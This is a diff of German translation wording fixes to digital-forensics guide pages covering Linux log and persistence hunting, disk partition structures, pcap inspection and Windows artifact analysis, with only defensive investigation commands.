 
@@ -79,7 +79,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
 ```
 ### Disk Image Voranalyse
 
-Erstellung eines Abbilds einer Festplatte ohne weitere Daten.
+Erstellung eines Disk-Images ohne weitere Daten.
 ```bash
 #Find out if it's a disk image using "file" command
 file disk.img
@@ -197,7 +197,7 @@ cat /var/spool/cron/crontabs/*  \
 ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
 ```
 #### Hunt: Missbrauch von Cron/Anacron über 0anacron und verdächtige Stubs
-Angreifer bearbeiten häufig den 0anacron-Stubs, der in jedem /etc/cron.*/-Verzeichnis vorhanden ist, um eine periodische Ausführung sicherzustellen.
+Angreifer bearbeiten häufig den 0anacron-Stub, der in jedem /etc/cron.*/-Verzeichnis vorhanden ist, um eine periodische Ausführung sicherzustellen.
 ```bash
 # List 0anacron files and their timestamps/sizes
 for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
@@ -267,13 +267,13 @@ Linux-Systeme verfolgen Benutzeraktivitäten und Systemereignisse durch verschie
 - **/var/log/cron**: Protokolliert die Ausführung von Cron-Jobs.
 - **/var/log/daemon.log**: Verfolgt Aktivitäten von Hintergrunddiensten.
 - **/var/log/btmp**: Dokumentiert fehlgeschlagene Anmeldeversuche.
-- **/var/log/httpd/**: Enthält Apache HTTPD Fehler- und Zugriffsprotokolle.
+- **/var/log/httpd/**: Enthält Apache HTTPD-Fehler- und Zugriffsprotokolle.
 - **/var/log/mysqld.log** oder **/var/log/mysql.log**: Protokolliert Aktivitäten der MySQL-Datenbank.
 - **/var/log/xferlog**: Protokolliert FTP-Dateiübertragungen.
 - **/var/log/**: Überprüfen Sie hier immer auf unerwartete Protokolle.
 
-> [!TIPP]
+> [!TIP]
-> Linux-Systemprotokolle und Auditsysteme können bei einem Eindringen oder Malware-Vorfall deaktiviert oder gelöscht werden. Da Protokolle auf Linux-Systemen im Allgemeinen einige der nützlichsten Informationen über böswillige Aktivitäten enthalten, löschen Eindringlinge sie routinemäßig. Daher ist es wichtig, beim Überprüfen der verfügbaren Protokolldateien nach Lücken oder nicht in der Reihenfolge befindlichen Einträgen zu suchen, die auf Löschungen oder Manipulationen hinweisen könnten.
+> Linux-Systemprotokolle und Auditsysteme können bei einem Eindringen oder Malware-Vorfall deaktiviert oder gelöscht werden. Da Protokolle auf Linux-Systemen im Allgemeinen einige der nützlichsten Informationen über böswillige Aktivitäten enthalten, löschen Eindringlinge sie routinemäßig. Daher ist es wichtig, beim Überprüfen verfügbarer Protokolldateien nach Lücken oder nicht in der Reihenfolge befindlichen Einträgen zu suchen, die auf Löschung oder Manipulation hindeuten könnten.
 
 **Linux führt eine Befehlsverlauf für jeden Benutzer**:
 
@@ -287,15 +287,15 @@ Darüber hinaus bietet der Befehl `last -Faiwx` eine Liste der Benutzeranmeldung
 
 Überprüfen Sie Dateien, die zusätzliche Berechtigungen gewähren können:
 
-- Überprüfen Sie `/etc/sudoers` auf unerwartete Benutzerberechtigungen, die möglicherweise gewährt wurden.
+- Überprüfen Sie `/etc/sudoers` auf unvorhergesehene Benutzerberechtigungen, die möglicherweise gewährt wurden.
-- Überprüfen Sie `/etc/sudoers.d/` auf unerwartete Benutzerberechtigungen, die möglicherweise gewährt wurden.
+- Überprüfen Sie `/etc/sudoers.d/` auf unvorhergesehene Benutzerberechtigungen, die möglicherweise gewährt wurden.
 - Untersuchen Sie `/etc/groups`, um ungewöhnliche Gruppenmitgliedschaften oder Berechtigungen zu identifizieren.
 - Untersuchen Sie `/etc/passwd`, um ungewöhnliche Gruppenmitgliedschaften oder Berechtigungen zu identifizieren.
 
 Einige Apps generieren auch ihre eigenen Protokolle:
 
 - **SSH**: Überprüfen Sie _\~/.ssh/authorized_keys_ und _\~/.ssh/known_hosts_ auf unbefugte Remote-Verbindungen.
-- **Gnome Desktop**: Überprüfen Sie _\~/.recently-used.xbel_ auf kürzlich zugegriffene Dateien über Gnome-Anwendungen.
+- **Gnome Desktop**: Überprüfen Sie _\~/.recently-used.xbel_ auf kürzlich verwendete Dateien über Gnome-Anwendungen.
 - **Firefox/Chrome**: Überprüfen Sie den Browserverlauf und Downloads in _\~/.mozilla/firefox_ oder _\~/.config/google-chrome_ auf verdächtige Aktivitäten.
 - **VIM**: Überprüfen Sie _\~/.viminfo_ auf Nutzungsdetails, wie z.B. aufgerufene Dateipfade und Suchverlauf.
 - **Open Office**: Überprüfen Sie den Zugriff auf kürzlich verwendete Dokumente, die auf kompromittierte Dateien hinweisen könnten.
@@ -355,7 +355,7 @@ ls -laR --sort=time /bin```
 ls -lai /bin | sort -n```
 ````
 > [!TIP]
-> Beachten Sie, dass ein **Angreifer** die **Zeit** ändern kann, um **Dateien legitim erscheinen** zu lassen, aber er **kann** die **inode** **nicht** ändern. Wenn Sie feststellen, dass eine **Datei** angibt, dass sie zur **gleichen Zeit** wie die anderen Dateien im selben Ordner erstellt und geändert wurde, aber die **inode** **unerwartet größer** ist, dann wurden die **Zeitstempel dieser Datei geändert**.
+> Beachten Sie, dass ein **Angreifer** die **Zeit** **ändern** kann, um **Dateien legitim erscheinen** zu lassen, aber er **kann** die **inode** **nicht** ändern. Wenn Sie feststellen, dass eine **Datei** angibt, dass sie zur **gleichen Zeit** wie die anderen Dateien im selben Ordner erstellt und geändert wurde, aber die **inode** **unerwartet größer** ist, dann wurden die **Zeitstempel dieser Datei geändert**.
 
 ## Vergleich von Dateien verschiedener Dateisystemversionen
 
@@ -367,7 +367,7 @@ Um Dateisystemversionen zu vergleichen und Änderungen zu identifizieren, verwen
 ```bash
 git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
 ```
-- **Für modifizierte Inhalte**, listen Sie Änderungen auf, während Sie spezifische Zeilen ignorieren:
+- **Für modifizierte Inhalte**: Änderungen auflisten, während spezifische Zeilen ignoriert werden:
 ```bash
 git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
 ```

src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md

@@ -47,7 +47,7 @@ Von den **Bytes 440 bis 443** des MBR finden Sie die **Windows-Disk-Signatur** (
 | 8 (0x08)  | 4 (0x04) | Sektoren vor der Partition (little endian)             |
 | 12 (0x0C) | 4 (0x04) | Sektoren in der Partition                               |
 
-Um ein MBR in Linux zu mounten, müssen Sie zuerst den Start-Offset ermitteln (Sie können `fdisk` und den Befehl `p` verwenden)
+Um ein MBR in Linux zu mounten, müssen Sie zuerst den Startoffset ermitteln (Sie können `fdisk` und den Befehl `p` verwenden)
 
 ![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
 
@@ -60,7 +60,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
 ```
 **LBA (Logische Blockadressierung)**
 
-**Logische Blockadressierung** (**LBA**) ist ein gängiges Verfahren zur **Spezifizierung des Standorts von Blöcken** von Daten, die auf Computerspeichergeräten gespeichert sind, in der Regel auf sekundären Speichersystemen wie Festplattenlaufwerken. LBA ist ein besonders einfaches lineares Adressierungsschema; **Blöcke werden durch einen ganzzahligen Index lokalisiert**, wobei der erste Block LBA 0, der zweite LBA 1 und so weiter ist.
+**Logische Blockadressierung** (**LBA**) ist ein gängiges Verfahren zur **Spezifizierung des Standorts von Blöcken** von Daten, die auf Computerspeichergeräten gespeichert sind, in der Regel auf sekundären Speichersystemen wie Festplatten. LBA ist ein besonders einfaches lineares Adressierungsschema; **Blöcke werden durch einen ganzzahligen Index lokalisiert**, wobei der erste Block LBA 0, der zweite LBA 1 und so weiter ist.
 
 ### GPT (GUID-Partitionstabelle)
 
@@ -77,7 +77,7 @@ Die GUID-Partitionstabelle, bekannt als GPT, wird aufgrund ihrer erweiterten Fun
 
 **Schützendes MBR (LBA0)**:
 
-- GPT erhält die Abwärtskompatibilität durch ein schützendes MBR. Diese Funktion befindet sich im Legacy-MBR-Bereich, ist jedoch so konzipiert, dass sie ältere MBR-basierte Dienstprogramme daran hindert, GPT-Disketten versehentlich zu überschreiben, und somit die Datenintegrität auf GPT-formatierten Festplatten schützt.
+- GPT erhält die Abwärtskompatibilität durch ein schützendes MBR. Diese Funktion befindet sich im Legacy-MBR-Bereich, ist jedoch so konzipiert, dass sie ältere MBR-basierte Dienstprogramme daran hindert, GPT-Festplatten versehentlich zu überschreiben, und somit die Datenintegrität auf GPT-formatierten Festplatten schützt.
 
 ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>)
 
@@ -87,21 +87,21 @@ Die GUID-Partitionstabelle, bekannt als GPT, wird aufgrund ihrer erweiterten Fun
 
 In Betriebssystemen, die **GPT-basiertes Booten über BIOS**-Dienste anstelle von EFI unterstützen, kann der erste Sektor auch weiterhin verwendet werden, um die erste Stufe des **Bootloader**-Codes zu speichern, jedoch **modifiziert**, um **GPT**-**Partitionen** zu erkennen. Der Bootloader im MBR darf nicht von einer Sektorgröße von 512 Bytes ausgehen.
 
-**Partitionstabellenkopf (LBA 1)**
+**Partitionstabelle-Header (LBA 1)**
 
 [Von Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
 
-Der Partitionstabellenkopf definiert die verwendbaren Blöcke auf der Festplatte. Er definiert auch die Anzahl und Größe der Partitionseinträge, die die Partitionstabelle bilden (Offsets 80 und 84 in der Tabelle).
+Der Partitionstabelle-Header definiert die verwendbaren Blöcke auf der Festplatte. Er definiert auch die Anzahl und Größe der Partitionseinträge, die die Partitionstabelle bilden (Offsets 80 und 84 in der Tabelle).
 
 | Offset    | Länge    | Inhalt                                                                                                                                                                     |
 | --------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | 0 (0x00)  | 8 Bytes  | Signatur ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h oder 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)auf Little-Endian-Maschinen) |
 | 8 (0x08)  | 4 Bytes  | Revision 1.0 (00h 00h 01h 00h) für UEFI 2.8                                                                                                                                  |
-| 12 (0x0C) | 4 Bytes  | Kopfgröße in Little Endian (in Bytes, normalerweise 5Ch 00h 00h 00h oder 92 Bytes)                                                                                         |
+| 12 (0x0C) | 4 Bytes  | Headergröße in Little Endian (in Bytes, normalerweise 5Ch 00h 00h 00h oder 92 Bytes)                                                                                     |
-| 16 (0x10) | 4 Bytes  | [CRC32](https://en.wikipedia.org/wiki/CRC32) des Headers (Offset +0 bis zur Kopfgröße) in Little Endian, wobei dieses Feld während der Berechnung auf Null gesetzt wird     |
+| 16 (0x10) | 4 Bytes  | [CRC32](https://en.wikipedia.org/wiki/CRC32) des Headers (Offset +0 bis Headergröße) in Little Endian, wobei dieses Feld während der Berechnung auf Null gesetzt wird       |
 | 20 (0x14) | 4 Bytes  | Reserviert; muss Null sein                                                                                                                                                 |
-| 24 (0x18) | 8 Bytes  | Aktuelles LBA (Standort dieser Kopfkopie)                                                                                                                                 |
+| 24 (0x18) | 8 Bytes  | Aktuelles LBA (Standort dieser Headerkopie)                                                                                                                                 |
-| 32 (0x20) | 8 Bytes  | Backup-LBA (Standort der anderen Kopfkopie)                                                                                                                               |
+| 32 (0x20) | 8 Bytes  | Backup-LBA (Standort der anderen Headerkopie)                                                                                                                             |
 | 40 (0x28) | 8 Bytes  | Erstes verwendbares LBA für Partitionen (letztes LBA der primären Partitionstabelle + 1)                                                                                   |
 | 48 (0x30) | 8 Bytes  | Letztes verwendbares LBA (erstes LBA der sekundären Partitionstabelle − 1)                                                                                                |
 | 56 (0x38) | 16 Bytes | Festplattenguid in gemischtem Endian                                                                                                                                      |
@@ -109,7 +109,7 @@ Der Partitionstabellenkopf definiert die verwendbaren Blöcke auf der Festplatte
 | 80 (0x50) | 4 Bytes  | Anzahl der Partitionseinträge im Array                                                                                                                                     |
 | 84 (0x54) | 4 Bytes  | Größe eines einzelnen Partitionseintrags (normalerweise 80h oder 128)                                                                                                      |
 | 88 (0x58) | 4 Bytes  | CRC32 des Arrays der Partitionseinträge in Little Endian                                                                                                                  |
-| 92 (0x5C) | \*       | Reserviert; muss für den Rest des Blocks Nullen sein (420 Bytes für eine Sektorgröße von 512 Bytes; kann jedoch bei größeren Sektorgrößen mehr sein)                       |
+| 92 (0x5C) | \*       | Reserviert; muss für den Rest des Blocks Nullen sein (420 Bytes für eine Sektorgröße von 512 Bytes; kann jedoch mehr sein bei größeren Sektorgrößen)                       |
 
 **Partitionseinträge (LBA 2–33)**
 
@@ -131,7 +131,7 @@ Weitere Partitionstypen unter [https://en.wikipedia.org/wiki/GUID_Partition_Tabl
 
 ### Inspektion
 
-Nach dem Einbinden des forensischen Images mit [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) können Sie den ersten Sektor mit dem Windows-Tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In dem folgenden Bild wurde ein **MBR** im **Sektor 0** erkannt und interpretiert:
+Nach dem Einbinden des forensischen Images mit [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) können Sie den ersten Sektor mit dem Windows-Tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In der folgenden Abbildung wurde ein **MBR** im **Sektor 0** erkannt und interpretiert:
 
 ![](<../../../images/image (354).png>)
 
@@ -139,7 +139,7 @@ Wenn es sich um eine **GPT-Tabelle anstelle eines MBR** handelte, sollte die Sig
 
 ## Dateisysteme
 
-### Windows-Dateisystemliste
+### Liste der Windows-Dateisysteme
 
 - **FAT12/16**: MSDOS, WIN95/98/NT/200
 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
@@ -149,13 +149,13 @@ Wenn es sich um eine **GPT-Tabelle anstelle eines MBR** handelte, sollte die Sig
 
 ### FAT
 
-Das **FAT (File Allocation Table)**-Dateisystem ist um seine Kernkomponente, die Dateizuordnungstabelle, herum gestaltet, die sich am Anfang des Volumes befindet. Dieses System schützt Daten, indem es **zwei Kopien** der Tabelle aufrechterhält, um die Datenintegrität auch dann zu gewährleisten, wenn eine beschädigt ist. Die Tabelle sowie der Stammordner müssen sich an einem **festen Standort** befinden, was für den Startprozess des Systems entscheidend ist.
+Das **FAT (File Allocation Table)**-Dateisystem ist um seine Kernkomponente, die Dateizuordnungstabelle, herum gestaltet, die sich am Anfang des Volumes befindet. Dieses System schützt Daten, indem es **zwei Kopien** der Tabelle aufbewahrt, um die Datenintegrität auch bei einer Beschädigung zu gewährleisten. Die Tabelle sowie der Stammordner müssen sich an einem **festen Standort** befinden, was für den Startprozess des Systems entscheidend ist.
 
 Die grundlegende Speichereinheit des Dateisystems ist ein **Cluster, normalerweise 512B**, der aus mehreren Sektoren besteht. FAT hat sich durch verschiedene Versionen weiterentwickelt:
 
 - **FAT12**, unterstützt 12-Bit-Clusteradressen und verarbeitet bis zu 4078 Cluster (4084 mit UNIX).
 - **FAT16**, verbessert auf 16-Bit-Adressen, wodurch bis zu 65.517 Cluster untergebracht werden können.
-- **FAT32**, weiter fortschreitend mit 32-Bit-Adressen, die beeindruckende 268.435.456 Cluster pro Volume ermöglichen.
+- **FAT32**, weiter fortgeschritten mit 32-Bit-Adressen, ermöglicht beeindruckende 268.435.456 Cluster pro Volume.
 
 Eine wesentliche Einschränkung über alle FAT-Versionen hinweg ist die **maximale Dateigröße von 4 GB**, die durch das 32-Bit-Feld für die Speicherung der Dateigröße auferlegt wird.
 
@@ -163,7 +163,7 @@ Wichtige Komponenten des Stammverzeichnisses, insbesondere für FAT12 und FAT16,
 
 - **Datei-/Ordnername** (bis zu 8 Zeichen)
 - **Attribute**
-- **Erstellungs-, Änderungs- und zuletzt Zugriffsdatum**
+- **Erstellungs-, Änderungs- und Zugriffsdatum**
 - **FAT-Tabellenadresse** (die den Start-Cluster der Datei angibt)
 - **Dateigröße**
 
@@ -173,12 +173,12 @@ Wichtige Komponenten des Stammverzeichnisses, insbesondere für FAT12 und FAT16,
 
 ## **Metadaten**
 
-Einige Dateien enthalten Metadaten. Diese Informationen beziehen sich auf den Inhalt der Datei, die für einen Analysten manchmal interessant sein könnten, da sie je nach Dateityp Informationen wie Folgendes enthalten können:
+Einige Dateien enthalten Metadaten. Diese Informationen beziehen sich auf den Inhalt der Datei, die für einen Analysten manchmal interessant sein könnten, da sie je nach Dateityp Informationen wie Folgendes enthalten kann:
 
 - Titel
 - Verwendete MS Office-Version
 - Autor
-- Erstellungs- und letztes Änderungsdatum
+- Erstellungs- und Änderungsdaten
 - Modell der Kamera
 - GPS-Koordinaten
 - Bildinformationen
@@ -189,7 +189,7 @@ Sie können Tools wie [**exiftool**](https://exiftool.org) und [**Metadiver**](h
 
 ### Protokollierte gelöschte Dateien
 
-Wie bereits gesehen, gibt es mehrere Stellen, an denen die Datei nach ihrer "Löschung" weiterhin gespeichert ist. Dies liegt daran, dass die Löschung einer Datei aus einem Dateisystem in der Regel nur als gelöscht markiert wird, die Daten jedoch nicht berührt werden. Daher ist es möglich, die Register der Dateien (wie die MFT) zu inspizieren und die gelöschten Dateien zu finden.
+Wie bereits gesehen, gibt es mehrere Orte, an denen die Datei nach ihrer "Löschung" weiterhin gespeichert ist. Dies liegt daran, dass die Löschung einer Datei aus einem Dateisystem normalerweise nur als gelöscht markiert wird, die Daten jedoch nicht berührt werden. Daher ist es möglich, die Register der Dateien (wie die MFT) zu inspizieren und die gelöschten Dateien zu finden.
 
 Außerdem speichert das Betriebssystem normalerweise viele Informationen über Änderungen am Dateisystem und Backups, sodass es möglich ist, zu versuchen, diese zu verwenden, um die Datei oder so viele Informationen wie möglich wiederherzustellen.
 
@@ -203,7 +203,7 @@ file-data-carving-recovery-tools.md
 
 Beachten Sie, dass diese Technik **nicht funktioniert, um fragmentierte Dateien wiederherzustellen**. Wenn eine Datei **nicht in zusammenhängenden Sektoren gespeichert ist**, kann diese Technik sie oder zumindest einen Teil davon nicht finden.
 
-Es gibt mehrere Tools, die Sie für das Dateicarving verwenden können, indem Sie die Dateitypen angeben, nach denen Sie suchen möchten.
+Es gibt mehrere Tools, die Sie für das Dateicarving verwenden können, um die Dateitypen anzugeben, nach denen Sie suchen möchten.
 
 {{#ref}}
 file-data-carving-recovery-tools.md

src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md

@@ -96,7 +96,7 @@ Sie können Tools wie [https://github.com/lgandx/PCredz](https://github.com/lgan
 
 ### Suricata
 
-**Install and setup**
+**Installieren und einrichten**
 ```
 apt-get install suricata
 apt-get install oinkmaster
@@ -111,11 +111,11 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
 
 [**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) ist ein Tool, das
 
-- Eine PCAP-Datei liest und Http-Streams extrahiert.
+- eine PCAP-Datei liest und Http-Streams extrahiert.
-- gzip komprimierte Streams dekomprimiert
+- gzip komprimierte Streams entpackt
-- Jede Datei mit yara scannt
+- jede Datei mit yara scannt
-- Einen report.txt schreibt
+- einen report.txt schreibt
-- Optional übereinstimmende Dateien in ein Verzeichnis speichert
+- optional übereinstimmende Dateien in ein Verzeichnis speichert
 
 ### Malware-Analyse
 

src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md

@@ -42,15 +42,15 @@ Mit diesen Dateien können Sie das Tool [**Rifiuti**](https://github.com/abelche
 
 Shadow Copy ist eine Technologie, die in Microsoft Windows enthalten ist und **Sicherungs kopien** oder Schnappschüsse von Computerdateien oder -volumes erstellen kann, selbst wenn sie verwendet werden.
 
-Diese Sicherungen befinden sich normalerweise im `\System Volume Information` im Wurzelverzeichnis des Dateisystems, und der Name besteht aus **UIDs**, die im folgenden Bild angezeigt werden:
+Diese Sicherungen befinden sich normalerweise im `\System Volume Information` im Stammverzeichnis des Dateisystems, und der Name besteht aus **UIDs**, die im folgenden Bild angezeigt werden:
 
 ![](<../../../images/image (94).png>)
 
-Durch das Einbinden des forensischen Images mit dem **ArsenalImageMounter** kann das Tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) verwendet werden, um eine Schattenkopie zu inspizieren und sogar **die Dateien** aus den Schattenkopie-Sicherungen **extrahieren**.
+Durch das Einbinden des forensischen Images mit dem **ArsenalImageMounter** kann das Tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) verwendet werden, um eine Schattenkopie zu inspizieren und sogar **die Dateien** aus den Schattenkopien zu extrahieren.
 
 ![](<../../../images/image (576).png>)
 
-Der Registrierungseintrag `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` enthält die Dateien und Schlüssel, **die nicht gesichert** werden sollen:
+Der Registrierungseintrag `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` enthält die Dateien und Schlüssel, **die nicht gesichert werden sollen**:
 
 ![](<../../../images/image (254).png>)
 
@@ -126,7 +126,7 @@ Es ist möglich zu identifizieren, dass ein USB-Gerät verwendet wurde, dank der
 - Microsoft Office Recent Folder
 - Jumplists
 
-Beachten Sie, dass einige LNK-Dateien anstelle des ursprünglichen Pfades auf den WPDNSE-Ordner verweisen:
+Beachten Sie, dass einige LNK-Dateien anstelle des ursprünglichen Pfads auf den WPDNSE-Ordner verweisen:
 
 ![](<../../../images/image (218).png>)
 
@@ -140,17 +140,17 @@ Die Dateien im WPDNSE-Ordner sind eine Kopie der ursprünglichen, überstehen al
 
 Überprüfen Sie die Datei `C:\Windows\inf\setupapi.dev.log`, um die Zeitstempel zu erhalten, wann die USB-Verbindung hergestellt wurde (suchen Sie nach `Section start`).
 
-![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
+![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
 
 ### USB Detective
 
-[**USBDetective**](https://usbdetective.com) kann verwendet werden, um Informationen über die USB-Geräte zu erhalten, die mit einem Bild verbunden waren.
+[**USBDetective**](https://usbdetective.com) kann verwendet werden, um Informationen über die USB-Geräte zu erhalten, die mit einem Bild verbunden wurden.
 
 ![](<../../../images/image (452).png>)
 
 ### Plug and Play Cleanup
 
-Die geplante Aufgabe, die als 'Plug and Play Cleanup' bekannt ist, dient hauptsächlich der Entfernung veralteter Treiberversionen. Entgegen ihrem angegebenen Zweck, die neueste Treiberpaketversion beizubehalten, deuten Online-Quellen darauf hin, dass sie auch Treiber anvisiert, die seit 30 Tagen inaktiv sind. Folglich können Treiber für abnehmbare Geräte, die in den letzten 30 Tagen nicht verbunden waren, gelöscht werden.
+Die geplante Aufgabe, die als 'Plug and Play Cleanup' bekannt ist, dient hauptsächlich der Entfernung veralteter Treiberversionen. Entgegen ihrem angegebenen Zweck, die neueste Treiberpaketversion beizubehalten, deuten Online-Quellen darauf hin, dass sie auch Treiber anvisiert, die in den letzten 30 Tagen inaktiv waren. Folglich können Treiber für abnehmbare Geräte, die in den letzten 30 Tagen nicht angeschlossen waren, gelöscht werden.
 
 Die Aufgabe befindet sich unter folgendem Pfad: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
 
@@ -159,10 +159,10 @@ Ein Screenshot, der den Inhalt der Aufgabe zeigt, ist bereitgestellt: ![](https:
 **Wichtige Komponenten und Einstellungen der Aufgabe:**
 
 - **pnpclean.dll**: Diese DLL ist für den eigentlichen Bereinigungsprozess verantwortlich.
-- **UseUnifiedSchedulingEngine**: Auf `TRUE` gesetzt, was die Verwendung der generischen Aufgabenplanung anzeigt.
+- **UseUnifiedSchedulingEngine**: Auf `TRUE` gesetzt, was die Verwendung der generischen Aufgabenplanungs-Engine anzeigt.
 - **MaintenanceSettings**:
 - **Period ('P1M')**: Weist den Task Scheduler an, die Bereinigungsaufgabe monatlich während der regulären automatischen Wartung zu starten.
-- **Deadline ('P2M')**: Weist den Task Scheduler an, falls die Aufgabe zwei aufeinanderfolgende Monate fehlschlägt, die Aufgabe während der Notfallautomatik-Wartung auszuführen.
+- **Deadline ('P2M')**: Weist den Task Scheduler an, die Aufgabe während der Notfallautomatik-Wartung auszuführen, wenn die Aufgabe zwei Monate hintereinander fehlschlägt.
 
 Diese Konfiguration stellt regelmäßige Wartung und Bereinigung der Treiber sicher, mit Bestimmungen für einen erneuten Versuch der Aufgabe im Falle aufeinanderfolgender Fehler.
 
@@ -201,7 +201,7 @@ Im Microsoft Outlook-Client werden alle gesendeten/empfangenen Nachrichten, Kont
 - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
 - `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
 
-Der Registrierungs-Pfad `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` zeigt die verwendete Datei an.
+Der Registrierungs-Pfad `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` zeigt die Datei an, die verwendet wird.
 
 Sie können die PST-Datei mit dem Tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) öffnen.
 
@@ -209,18 +209,18 @@ Sie können die PST-Datei mit dem Tool [**Kernel PST Viewer**](https://www.nucle
 
 ### Microsoft Outlook OST-Dateien
 
-Eine **OST-Datei** wird von Microsoft Outlook erstellt, wenn es mit **IMAP** oder einem **Exchange**-Server konfiguriert ist und speichert ähnliche Informationen wie eine PST-Datei. Diese Datei wird mit dem Server synchronisiert und behält Daten für **die letzten 12 Monate** bis zu einer **maximalen Größe von 50 GB** und befindet sich im selben Verzeichnis wie die PST-Datei. Um eine OST-Datei anzuzeigen, kann der [**Kernel OST Viewer**](https://www.nucleustechnologies.com/ost-viewer.html) verwendet werden.
+Eine **OST-Datei** wird von Microsoft Outlook erstellt, wenn es mit **IMAP** oder einem **Exchange**-Server konfiguriert ist und ähnliche Informationen wie eine PST-Datei speichert. Diese Datei wird mit dem Server synchronisiert und behält Daten für **die letzten 12 Monate** bis zu einer **maximalen Größe von 50 GB** und befindet sich im selben Verzeichnis wie die PST-Datei. Um eine OST-Datei anzuzeigen, kann der [**Kernel OST Viewer**](https://www.nucleustechnologies.com/ost-viewer.html) verwendet werden.
 
 ### Wiederherstellung von Anhängen
 
-Verlorene Anhänge könnten wiederhergestellt werden aus:
+Verlorene Anhänge können möglicherweise wiederhergestellt werden von:
 
 - Für **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
 - Für **IE11 und höher**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
 
 ### Thunderbird MBOX-Dateien
 
-**Thunderbird** verwendet **MBOX-Dateien**, um Daten zu speichern, die sich in `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` befinden.
+**Thunderbird** verwendet **MBOX-Dateien**, um Daten zu speichern, die sich unter `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` befinden.
 
 ### Bildvorschauen
 
@@ -237,13 +237,13 @@ Die Windows-Registrierung, die umfangreiche System- und Benutzeraktivitätsdaten
 - Windows Vista und spätere Versionen sichern `HKEY_LOCAL_MACHINE`-Registrierungsdateien in `%Windir%\System32\Config\RegBack\`.
 - Darüber hinaus werden Informationen zur Programmausführung in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` ab Windows Vista und Windows 2008 Server gespeichert.
 
-### Werkzeuge
+### Tools
 
-Einige Werkzeuge sind nützlich, um die Registrierungsdateien zu analysieren:
+Einige Tools sind nützlich, um die Registrierungsdateien zu analysieren:
 
-- **Registrierungs-Editor**: Er ist in Windows installiert. Es ist eine GUI, um durch die Windows-Registrierung der aktuellen Sitzung zu navigieren.
+- **Registrierungs-Editor**: Es ist in Windows installiert. Es ist eine GUI, um durch die Windows-Registrierung der aktuellen Sitzung zu navigieren.
 - [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Es ermöglicht Ihnen, die Registrierungsdatei zu laden und durch sie mit einer GUI zu navigieren. Es enthält auch Lesezeichen, die Schlüssel mit interessanten Informationen hervorheben.
-- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Auch hier gibt es eine GUI, die es ermöglicht, durch die geladene Registrierung zu navigieren und Plugins enthält, die interessante Informationen innerhalb der geladenen Registrierung hervorheben.
+- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Es hat ebenfalls eine GUI, die es ermöglicht, durch die geladene Registrierung zu navigieren und enthält auch Plugins, die interessante Informationen innerhalb der geladenen Registrierung hervorheben.
 - [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Eine weitere GUI-Anwendung, die in der Lage ist, wichtige Informationen aus der geladenen Registrierung zu extrahieren.
 
 ### Wiederherstellung gelöschter Elemente
@@ -301,7 +301,7 @@ Um diese Dateien zu inspizieren, können Sie das Tool [**PEcmd.exe**](https://gi
